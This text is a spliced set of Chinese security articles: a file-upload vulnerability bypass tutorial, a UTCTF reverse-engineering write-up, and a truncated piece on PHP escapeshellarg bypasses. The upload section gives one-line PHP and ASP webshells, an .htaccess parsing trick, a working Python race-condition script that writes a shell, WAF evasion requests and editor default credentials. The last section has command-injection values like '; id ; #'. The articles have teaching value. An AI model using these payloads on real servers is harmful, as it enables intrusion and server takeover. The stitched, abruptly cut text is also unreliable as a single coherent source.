Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。当WebDAV开启PUT，MOVE，COPY，DELETE方法时，攻击者就可以向服务器上传危险脚本文件。
此时可以使用OPTIONS探测服务器支持的http方法，如果支持PUT，就进行上传脚本文件，在通过MOVE或COPY方法改名。当开启DELETE时还可以删除文件。
参考:<http://wiki.wooyun.org/server:httpput>
### 客户端校验
#### JavaScript校验
##### 验证代码
<?php
//文件上传漏洞演示脚本之js验证
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
if (file_exists($uploaddir)) {
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
echo '文件上传成功，保存于：' . $uploaddir . $_FILES['upfile']['name'] . "\n";
}
} else {
exit($uploaddir . '文件夹不存在,请手工创建！');
}
//print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
<meta http-equiv="content-language" content="zh-CN"/>
<title>文件上传漏洞演示脚本--JS验证实例</title>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你还没有选择任何文件，不能上传!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
</script>
<body>
<h3>文件上传漏洞演示脚本--JS验证实例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return checkFile()">
<input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
请选择要上传的文件：<input type="file" name="upfile"/>
<input type="submit" name="submit" value="上传"/>
</form>
</body>
</html>
客户端JS验证通常做法是验证上传文件的扩展名是否符合验证条件
##### 绕过姿势
1.通过firefox的F12修改js代码绕过验证 2.使用burp抓包直接提交，绕过js验证
### 服务器端校验
#### 文件头content-type字段校验（服务端MIME类型检测）
##### MIME类型介绍
**MIME type** 的缩写为 **(Multipurpose Internet Mail Extensions)**
代表互联网媒体类型(Internet media
type)，MIME使用一个简单的字符串组成，最初是为了标识邮件Email附件的类型，在html文件中可以使用content-type属性表示，描述了文件类型的互联网标准。
Internet中有一个专门组织IANA来确认标准的MIME类型，但Internet发展的太快，很多应用程序等不及IANA来确认他们使用的MIME类型为标准类型。因此他们使用在类别中以x-开头的方法标识这个类别还没有成为标准，例如：x-gzip，x-tar等。事实上这些类型运用的很广泛，已经成为了事实标准。只要客户机和服务器共同承认这个MIME类型，即使它是不标准的类型也没有关系，客户程序就能根据MIME类型，采用具体的处理手段来处理数据。
Response对象通过设置ContentType使客户端浏览器，区分不同种类的数据，并根据不同的MIME调用浏览器内不同的程序嵌入模块来处理相应的数据。
###### MIME类型格式：
类别/子类别;参数 Content-Type: [type]/[subtype]; parameter
###### MIME主类别：
text：用于标准化地表示的文本信息，文本消息可以是多种字符集和或者多种格式的；
Multipart：用于连接消息体的多个部分构成一个消息，这些部分可以是不同类型的数据；
Application：用于传输应用程序数据或者二进制数据；
Message：用于包装一个E-mail消息；
Image：用于传输静态图片数据；
Audio：用于传输音频或者音声数据；
Video：用于传输动态影像数据，可以是与音频编辑在一起的视频数据格式。
###### 常见MIME类型：
##### 验证代码
<?php
if($_FILE['userfile']['type'] != "image/gif"){ //检测content-type
echo "sorry,we only allow uploading GIF images";
exit;
}
else
{
echo "Upload success!";
}
?>
以上是一个简单的服务器上传验证代码，只要content-type符合image/gif就允许上传
##### 绕过方式
使用Burp截取上传数据包，修改Content-Type的值，改为image/gif即可成功绕过上传webshell
#### 服务端文件扩展名检测
##### 测试代码
<?php
$type = array("php","php3");
//判断上传文件类型
$fileext = fileext($_FILE['file']['name']);
if(!in_array($fileext,$type)){
echo "upload success!";
}
else{
echo "sorry";
}
?>
默认上传后的文件保存的名字是已获取到的名字
##### 绕过技巧
###### 配合Apache的.htaccess文件上传解析漏洞
>
> .htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件，该文件默认开启，启用和关闭在httpd.conf文件中配置。
有些服务器在上传认证时没有拦截.htaccess文件上传，就会造成恶意用户利用上传.htaccess文件解析漏洞，来绕过验证进行上传WEBShell，从而达到控制网站服务器的目的。
首先我们编写一个.htaccess文件。打开记事本，编写代码“AddType application/x-httpd-php
.jpg”，然后点击文件选中另存为，编写文件名为.htaccess，选择保存类型为所有文件。然后将其进行上传。因为.htaccess是apache服务器中的一个配置文件,不在上传的文件的黑名单之内,所以.htaccess文件是可以上传成功。
接下来我们制造一个一句话木马文件，如取名为yijuhua.php。因为之前上传成功到服务器的.htaccess文件里的代码可以让
.jpg后缀名文件格式的文件名以php格式解析，因此达到了可执行的效果。所以我们把yijuhua.php文件的后缀名改为.jpg格式,让.htaccess文件解析yijuhua.jpg文件里的php代码，从而使木马上传成功并达到可执行的目的。
###### Apache站上的解析缺陷绕过上传漏洞
Apache的解析漏洞主要特性为Apache是从后面开始检查后缀，按最后一个合法后缀执行，整个漏洞的关键就是Apache的合法后缀到底是哪些，不是合法后缀的都可以被利用，所以将木马的后缀进行修改为允许上传的类型后，即可成功绕过验证，最终拿到权限。
例如新建完要上传的一句话木马文件后命名为yijuhua.php，然后我们在文件后缀处添加上7z，就有可能绕过验证上传成功。也可以修改后缀名为cab、zip、bmp等，只要是允许的上传类型都可能被上传成功。最后通过菜刀类工具访问即可。
###### IIS6.0站上的目录路径检测解析绕过上传漏洞
当我们使用的服务器都是Windows2003，并且使用的服务为IIS6.0时，就可能存在如本节所描述的漏洞。
以asp为例，先准备好一句话木马文件，然后通过burpsuite进行抓包：
查看数据包：
其中`Content-Disposition:form-data;name=”path”`下面的一行为服务保存文件的相对路径，我们把原本的
uploadimg/改为`uploadimg/1.asp/;`，`filename="yijuhua.asp"`修改为`filename="yijuhua.asp/1.jpg"`。如图：
本例的知识点在于利用了IIS6.0目录路径检测解析，文件的名字为`“yijuhua.asp/1.jpg”`，也同样会被IIS当作ASP文件来解析并执行。
首先我们请求`/yijuhua.asp/1.jpg`，服务器会从头部查找查找"."号,获得.asp/1.jpg。然后查找"/",如果有则内存截断，所以`/yijuhua.asp/1.jpg`会当做`/yijuhua.asp`进行解析。
上传成功后，通过response我们可以查看到得到的文件名信息为“1.asp;14127900008.asp”，那么就可以在前面添加上uploadimg/，从而构造访问地址为：`“http://www.test.com/uploadimg/1.asp;14127900008.asp”`，并通过菜刀类的工具进行访问了。
###### IIS6.0站上的解析缺陷绕过上传漏洞
此类方法与上面讲的目录解析有点类似，不同点在于是利用文件解析来达到绕过上传的目的。
以php为例，同样是准备好一句话木马文件后通过burpsuite进行抓包。
查看数据包：
其中`Content-Disposition:form-data;name=”path”`下面的一行为服务保存文件的相对路径，我们把原本的
`uploadimg/` 改为 `uploadimg/1.php;`
，`filename="yijuhua.php"`修改为`filename="yijuhua.jpg"`。
本例中的知识点在于利用了IIS6.0目录路径检测解析，文件的名字为`“1.php;yijuhua.jpg”`，也同样会被IIS当作PHP文件来解析并执行
首先我们请求`/1.php;yijuhua.jpg`，然后服务器会从头部查找查找"."号,获得`.php;yijuhua.jpg`。接着查找到";"，有则内存截断，所以`/1.php;yijuhua.jpg`会当做/1.php进行解析。
最后类似上一节那样，通过response我们可以查看到得到的文件名信息为`“1.php;14127900008.php”`，在前面添加上uploadimg/，从而构造访问地址为：`“http://www.test.com/uploadimg/1.php;14127900008.php”`，并通过菜刀类的工具进行访问。
1.使用大小写绕过（针对对大小写不敏感的系统如windows），如：PhP
2.使用黑名单外的脚本类型，如：php5,asa 和 cer等(IIS默认支持解析.asp,.cdx, .asa,.cer等)
能被解析的文件扩展名列表：
jsp jspx jspf
asp asa cer aspx
3.配合操作系统文件命令规则
（1）上传不符合windows文件命名规则的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA
会被windows系统自动去掉不符合规则符号后面的内容。
（2）linux下后缀名大小写
在linux下，如果上传php不被解析，可以试试上传pHp后缀的文件名。
(3)借助系统特性突破扩展名验证，如：test.php_(在windows下,下划线是空格，保存文件时下划线被吃掉剩下test.php)
4.双扩展名之间使用00截断，绕过验证上传恶意代码
0x00截断：基于一个组合逻辑漏洞造成的，通常存在于构造上传文件路径的时候
test.php(0x00).jpg
test.php%00.jpg
路径/upload/1.php(0x00)，文件名1.jpg，结合/upload/1.php(0x00)/1.jpg
5.超长文件名截断上传(windows 258byte | linux 4096byte)
#### 服务端检测文件内容
##### 配合文件包含漏洞
前提：校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式：（这里拿php为例，此漏洞主要存在于PHP中）
（1）先上传一个内容为木马的txt后缀文件，因为后缀名的关系没有检验内容；
（2）然后再上传一个.php的文件，内容为<?php Include(“上传的txt文件路径”);?>
此时，这个php文件就会去引用txt文件的内容，从而绕过校验，下面列举包含的语法：
#PHP
<?php Include("上传的txt文件路径");?>
#ASP
<!--#include file="上传的txt文件路径" -->
#JSP
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
详细参考：[文件包含漏洞(绕过姿势)](http://thief.one/2017/04/10/2/)
##### 利用PHP特性（使用数组绕过）
file_put_contents 这个函数的第二个参数 可以是数组
然后 如果代码里用正则匹配 bad word 的时候
对一个数组进行正则匹配没用
#### 服务端检测文件头
##### 文件头简介
不同的图片文件都有不同文件头，如：
PNG： 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG： 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF： 文件头标识 (6 bytes) 47 49 46 38 39(37) 61
PHP使用getimagesize函数验证图片文件头
##### 绕过方式
绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识就可以了
在木马内容基础上再加了一些文件信息，有点像下面的结构
GIF89a
<?php phpinfo(); ?>
#### 上传到服务端后验证
##### 竞争上传
演示代码
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed，delete the file！");
}
?>
首先将文件上传到服务器，然后检测文件后缀名，如果不符合条件，就删掉，我们的利用思路是这样的，首先上传一个php文件，内容为：
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
当然这个文件会被立马删掉，所以我们使用多线程并发的访问上传的文件，总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件，一旦我们成功访问到了上传的文件，那么它就会向服务器写一个shell。利用代码如下：
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
经过几次尝试后成功成功写入shell
## 针对各种CMS
比如说JCMS等存在的漏洞，可以针对不同CMS存在的上传漏洞进行绕过。
* PHPCMSv9.6.0任意文件上传
## 针对各种编辑器漏洞
比如FCK，ewebeditor等，可以针对编辑器的漏洞进行绕过。
### 文本编辑器
常见的文本编辑器有CKEditor、eWebEditor、UEditor、KindEditor、xhEditor等，它们的功能类似且都有图片上传、视频上传、远程下载等功能，这类文本编辑器也称为富文本编辑器。
### 1 FCKeditor
下面以FCKeditor(现名为CKEditor)为例：
1、敏感信息暴漏
* 查看版本信息
/FCKeditor/editor/dialog/fck_about.html
* 默认上传页面
/FCKeditor/editor/filemanager/browser/default/browser.html
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
* 其他敏感文件
/FCKeditor/editor/filemanager/connectors/aspx/connector.html
/FCKeditor/editor/filemanager/connectors/asp/connector.html
/FCKeditor/editor/filemanager/connectors/php/connector.php
2、黑名单策略错误
FCKeditor<=2.4.3版本采用的是有弊端的黑名单策略，可以采用asa、cer等扩展名
3、任意文件上传漏洞
FCKeditor的2.4.2及以下本本的黑名单配置信息里没有定义类型Media，直接构造html表单就行，
在form中的action="http://22.22.22.22/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media" 即可，然后上传
### 2 eWebEditor
1、默认后台
2.80以前为：ewebeditor/admin_login.asp
2.80以后为：admin/login.asp
2、默认账号密码
admin admin888
3、数据库地址
默认数据库地址
ewebeditor/db/ewebeditor.mdb
常用数据库地址
ewebeditor/db/ewebeditor.asa
ewebeditor/db/ewebeditor.asa
ewebeditor/db/#ewebeditor.asa
ewebeditor/db/#ewebeditor.mdb
ewebeditor/db/!@#ewebeditor.asp
ewebeditor/db/ewebeditor1033.mdb
asp asa为后缀的数据库下载下来后改为mdb
## 针对各种WAF
##### 1 垃圾数据
有些主机WAF软件为了不影响web服务器的性能，会对校验的用户数据设置大小上限，比如1M。此种情况可以构造一个大文件，前面1M的内容为垃圾内容，后面才是真正的木马内容，便可以绕过WAF对文件内容的校验；
当然也可以将垃圾数据放在数据包最开头，这样便可以绕过对文件名的校验。
可以将垃圾数据加上Content-Disposition参数后面，参数内容过长，可能会导致waf检测出错。
##### 2 filename
针对早期版本安全狗，可以多加一个filename
或者将filename换位置，在IIS6.0下如果我们换一种书写方式，把filename放在其他地方：
##### 3 POST/GET
有些WAF的规则是：如果数据包为POST类型，则校验数据包内容。 此种情况可以上传一个POST型的数据包，抓包将POST改为GET。
##### 4 以上方式
针对WAF，以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。
**
##### 5 利用waf本身缺陷
###### 删除实体里面的Conten-Type字段
第一种是删除Content整行，第二种是删除C后面的字符。删除掉ontent-Type:
image/jpeg只留下c，将.php加c后面即可，但是要注意额，双引号要跟着c.php。
正常包：Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包：Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
###### 删除Content-Disposition字段里的空格
增加一个空格导致安全狗被绕过案列： Content-Type: multipart/form-data;
boundary=—————————4714631421141173021852555099 尝试在boundary后面加个空格或者其他可被正常处理的字符：
boundary= —————————47146314211411730218525550
###### 修改Content-Disposition字段值的大小写
###### Boundary边界不一致
每次文件上传时的Boundary边界都是一致的：
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题，两段Boundary不一致使得waf认为这段数据是无意义的，可是容器并没有那么严谨：
Win2k3 + IIS6.0 + ASP
###### 文件名处回车
###### 多个Content-Disposition
在IIS的环境下，上传文件时如果存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值作为接收参数，而如果waf只是取最后一个的话便会被绕过，Win2k8 + IIS7.0 + PHP
##### 利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性，用于NTFS交换数据流。在上传文件时，如果waf对请求正文的filename匹配不当的话可能会导致绕过。
##### 文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话，那么还可以构造更多的点、符号等等。
##### 特殊的长文件名绕过
文件名使用非字母数字，比如中文等最大程度的拉长，不行的话再结合一下其他的特性进行测试：
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
##### 反删除
将下图file1改成了file4，这样就不会把这个文件删除了。（JCMS漏洞）
## 总结
条件： 寻找一个上传点，查看上传点是否可用。
利用：
首先判断是程序员自己写的上传点，还是编辑器的上传功能
如果是编辑器上传功能，goolge当前编辑器的漏洞
如果是程序员写的上传点
上传一个正常的jpg图片 查看上传点是否可用
上传一个正常的jpg图片，burp拦截，修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测）
上传一个正常的jpg图片，burp拦截， 00截断 1.php%00.jpg
判断服务器是什么类型，web服务器程序，是什么类型，版本号多少
利用解析漏洞
## 防护建议
1. 使用白名单限制可以上传的文件扩展（白名单比黑名单可靠多了）
2. 验证文件内容，使用正则匹配恶意代码限制上传
3. 对上传后的文件统一随机命名，不允许用户控制扩展名
4. 修复服务器可能存在的解析漏洞
5. 严格限制可以修改服务器配置的文件上传如：.htaccess
6. 隐藏上传文件路径。
7. 升级Web Server
8. 及时修复Web上传代码（重要）
9. 不能有本地文件包含漏洞
10. 注意0x00截断攻击（PHP更新到最新版本）
11. 上传文件的存储目录禁用执行权限
## 拓展资料
* [http://thief.one/2016/09/21/服务器解析漏洞/](http://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/)
## 参考资料
* [文件上传漏洞解析及绕过姿势](http://www.y-hkl.top/2017/09/16/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E5%8F%8A%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/ "文件上传漏洞解析及绕过姿势")
* <http://www.cnblogs.com/stevenwuzheng/p/5354236.html>
* <https://blog.csdn.net/weiwangchao_/article/details/46686505>
* <http://www.myh0st.cn/index.php/archives/7/>
* <http://rdc.hundsun.com/portal/article/627.html>
* [文件上传漏洞总结](http://jdrops.dropsec.xyz/2017/07/17/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/ "文件上传漏洞总结")
* [文件上传漏洞（绕过姿势）](https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/ "文件上传漏洞（绕过姿势）")
* <http://wyb0.com/posts/file-upload-editor-upload-vulnerability/>
* * * | 社区文章 |
UTCTF是上周末国外的一个CTF比赛，逆向题中有几道质量还不错，简单整理了一下供大家参考。
## Super Sucure Authentication
这是一道Java逆向题。Java逆向题在CTF里比较少见，主要是因为Java反编译太容易，没有太多trick。
其中考察比较多的有反射和动态加载类等，这道题就是使用动态加载类对代码进行了保护。
首先使用Jd-gui反编译Authenticator类，可以发现flag被分成了8份，并分别通过8个Verifier类进行检查（Verifier0 -Verifier7）：
if (!candidate.substring(0, 7).equals("utflag{")) {
return false;
}
if (candidate.charAt(candidate.length() - 1) != '}') {
return false;
}
StringTokenizer st = new StringTokenizer(candidate.substring(7, candidate.length() - 1), "_");
if (!Verifier0.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier1.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier2.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier3.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier4.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier5.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier6.verifyFlag(st.nextToken())) {
return false;
}
if (!Verifier7.verifyFlag(st.nextToken())) {
return false;
}
随便点开几个Verifier，发现逻辑都是一样的：
private static byte[] arr = jBaseZ85.decode(new String("+kO#^0000Q0ZE7[5DJ%U0u.ZH0S:wG0u.WG0S:CK00ifB2MU+E0v4*I...");
public static boolean verifyFlag(String paramString)
{
Verifier0 localVerifier0 = new Verifier0();
Class localClass = localVerifier0.defineClass("Verifier0", arr, 0, arr.length);
Object localObject = localClass.getMethod("verifyFlag", new Class[] { String.class }).invoke(null, new Object[] { paramString });
return ((Boolean)localObject).booleanValue();
}
可以看到这里使用了Java的动态加载类的方法，将一串常量字符串通过Base85解码，并加载为`Verifier0`类，并调用其中的`verifyFlag`函数。
这里我们直接将代码在Java IDE中执行，发现Base85解码后得到的字符串开头就是Class文件头`CAFEBABE`。
将其保存到文件，然后用Jd-gui打开，发现代码跟上面基本一样，只是常量字符串发生了变化。由于文件有3MB之大，猜测之后还有很多层，于是需要写代码自动化脱壳。
这里我们需要做的就是从Class文件中提取出该字符串，使用Base85进行解码，然后再提取字符串，不断重复该过程。于是就需要从Class文件中提取字符串。
为了实现这个目标，我们可以考虑使用一些相关的库来Parse
Class文件，但对于这种简单的字符串提取，也可以研究一下文件结构，手动把字符串从Class文件中提取出来。
首先观察到字符串的开头都是相同的`+kO#`，对应了Java Class文件的文件头，这样我们就可以定位到字符串开头。
但是实际上最后的字符串是由多个字符串拼起来的，即类似于`new String("+kO#..") + new String("B2MU..") + ...
+ new String("F9Kl..")`，体现在Class文件中就是两个字符串之间还有一段没有用的数据：
观察了一下可以发现，这段数据的长度是有规律的，基本上第一个间隔是13，后面的都是3，所以可以特判直接过滤掉。（我的特判写的比较丑陋就不放出来了，大家可以自己尝试实现）
最后得到8个Verifier的class文件，都是简单的编码或者加密：
Verifier0，异或加密：
Verifier1，字符串逆序：
Verifier2，hashCode，Java中爆破：
private static int[] encrypted = { 3080674, 3110465, 3348793, 3408375, 3319002, 3229629, 3557330, 3229629, 3408375, 3378584 };
public static void verifyFlag()
{
for(int i = 0; i < 10; i++)
{
for(char c = 32; c < 127; c++)
if (encrypted[i] == (c + "foo").hashCode()) {
System.out.print(c);
}
}
}
Verifier3，凯撒移位：
Verifier4，简单数字运算：
Verifier5，MD5，直接查cmd5
Verifier6，SHA1，同上
Verifier7，flag直接送了
连接起来，得到完整flag:
`utflag{prophets_anxious_demolition_animatronic_herald_fizz_stop_goodbye}`
## Simple python script
给出了python源代码：
flag = input("> ")
for i in range(0, len(flag), int((544+5j).imag)):
inputs = []
(lambda ねこ, _, __, ___, ____, _____, ネコ, q, k: getattr(ねこ, "extend")...
temp = getattr(__import__("ha"+"".__class__.__name__[0]+"hl"+(3)...
getattr(temp, "update")(getattr(flag[i:i + 5], "encode")("utf-8"))
if getattr(__import__("difflib"), "SequenceMatcher")(None, getattr(getattr(temp, "hexdigest")(), "lower")(), getattr(inputs[i // 5], "decode")("utf-8").lower()).ratio() != 1.0:
exit()
print("correct")
可以看到使用了多种混淆方式：
1. `getattr(class, method)`就相当于`class.method`
2. `"".__class__.__name__[0]`那些用来隐藏字符串（即"String"[0]，"S"）
3. 最后的`SequenceMatcher(...).ratio() == 1`其实就是比较相等
于是整理出以下代码：
inputs = []
(lambda ... # 这段代码更新了inputs
temp = hashlib.new(... # 这里应该是使用了一种hashlib里的哈希
temp.update(flag[i:i + 5].encode("utf-8") ) # 对flag每5位做一次哈希
print(inputs[i // 5].decode("utf-8").lower()) # 这段代码是我新增的，因为最终与flag哈希值比较的和就是inputs[i // 5]，所以打印出来
if temp.hexdigest().lower() == inputs[i // 5].decode("utf-8").lower(): # 原来应为!=，这里改成==防止exit
exit()
运行可以打印出几个哈希值：
26d33687bdb491480087ce1096c80329aaacbec7
1c3bcf656687cd31a3b486f6d5936c4b76a5d749
11a3e059c6f9c223ce20ef98290f0109f10b2ac6
6301cb033554bf0e424f7862efcc9d644df8678d
95d79f53b52da1408cc79d83f445224a58355b13
在CMD5上可以查到其中一部分，哈希算法是SHA1，剩余的可以在[hashtoolkit](https://hashtoolkit.com)上查到，连接得到完整flag：
`puppyp1zzaanimetoruskitty`
## MOV
IDA加载发现全是MOV指令，可以大概知道使用了[Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)进行了混淆处理。
对于复杂一些的Movfuscator程序，可以尝试根据程序中字符串等信息，配合trace工具和下断点来追踪程序流程，并猜测程序逻辑（一般来说逻辑不会特别复杂）。此外，也可以尝试使用[Demovfuscator](https://github.com/kirschju/demovfuscator)进行反混淆，运气好的话说不定会解得比较好看。
不过对于这道题，程序中搜不到字符串信息，运行也没有反应，在strace和ltrace时发现很多SIGILL信号：
于是尝试使用gdb进行调试，在发出SIGILL信号时，gdb会断住，这是可以观察到栈顶有一个`u`字符：
继续跟踪下去，发现每次SIGILL时栈顶都会添加一个字符，逐渐形成一个完整的flag：
`utflag{sentence_that_is_somewhat_tangentially_related_to_the_challenge}`
## UTCTF adventure ROM
一道gameboy游戏逆向题，使用的工具是bgb（可以debug，非常方便）和IDA。
首先使用bgb运行游戏，可以看到有四个框，分别可以输入ABCD，输入错误会死掉，显示LOSER：
此外，地图上还有不可见的线（在题目描述中可知），碰到后也会死掉，显示DEAD：
大体了解游戏逻辑后，我们就可以开始逆向了。在IDA中打开，处理器选择`z80`（具体可以参考[这份wp](https://github.com/VoidHack/write-ups/tree/master/Square%20CTF%202017/reverse/gameboy)）。
首先搜索字符串，可以找到LOSER和DEAD：
搜索第一个`DEAD`的地址`71E`，可以找到判断撞线死亡的逻辑：
这里我们直接把这部分nop掉就不会再撞死了（注意这里的nop是\x00）
同样的方法搜索`LOSER`的地址`568`：
找到了判断输入是否正确的判断，于是我们使用bgb在这里下断点：
可以看到我们的输入和正确值分别保存在`a`和`c`寄存器中。
于是我们就可以反复运行，随便输入一个值，然后修改我们的输入值为正确值，并记录下来，即可获得完整flag：
`AABDCACBBDBCDCAD`
## 其他
剩下的几道题比较简单，有问题可以留言交流 | 社区文章 |
# PHP-escapeshell-命令执行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 最近审计PHP时，频繁出现的escapeshellarg与escapeshellcmd成功勾起了我的 ~~性致~~ 兴趣，深入了解后发现确实漏洞百出
>
> Know it then do it
## escapeshellarg
> string escapeshellarg ( string $arg )
转义字符串`$arg`中的单引号并使用单引号包裹此部分
使得`$arg`只能传递一个参数，且不能执行不同的命令
## escapeshellcmd
> string escapeshellcmd ( string $command )
转义`& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ `、`x0A`和`xF`，`'`和`"`仅在落单时被转义
使得`$command`只能执行一个命令，但可以传递多个参数
## 举个栗子
* $arg->`172.17.0.2' -v -d a=1`
* ->escapeshellarg->`'172.17.0.2''' -v -d a=1'`
* ->escapeshellcmd->`'172.17.0.2'\'' -v -d a=1'`
* ->`172.17.0.2 -v -d a=1'`
## 历史漏洞
* Windows下PHP<=4.3.6-[CVE-2004-0542](https://www.securitytracker.com/id/1010410)
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
//or
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
* PHP4<=4.4.8与PHP5<=5.2.5-[CVE-2008-2051](https://www.sektioneins.de/en/advisories/advisory-032008-php-multibyte-shell-command-escaping-bypass-vulnerability.html)
//需要有可变宽度字符集的shell环境（例如GBK、EUC-KR、SJIS）
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
//or
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
* Windows下PHP5.4.42以下, 5.5.26以下的5.5.x, 5.6.10以下的5.6.x-[CVE-2015-4642](https://bugs.php.net/bug.php?id=69646)
//向函数传递额外的`(--param3)`
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
* PHP7.0.2以下的7.x-[CVE-2016-1904](https://bugs.php.net/bug.php?id=71270)
> 如果向`escapeshellarg`或`escapeshellarg`传递1024兆个字节，则可能会触发堆溢出
* Windows下5.4.43以下的5.4.x, 5.5.27以下的5.5.x, 5.6.11以下的5.6.x-[Bugs](https://bugs.php.net/bug.php?id=69768)
//EnableDelayedExpansion`为`enabled`时，`!STH!`的特性类似于`%STH%`，而`escapeshellarg`并未处理`!`
//可以在HKLM或HKCU下的注册表中设置EnableDelayedExpansion
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
* PHP5.6.18以下-[Bugs](https://bugs.php.net/bug.php?id=71039)
//`ext/standard/exec.c`中
echo escapeshellarg("helloworld");
=>
hello
## 参数注入
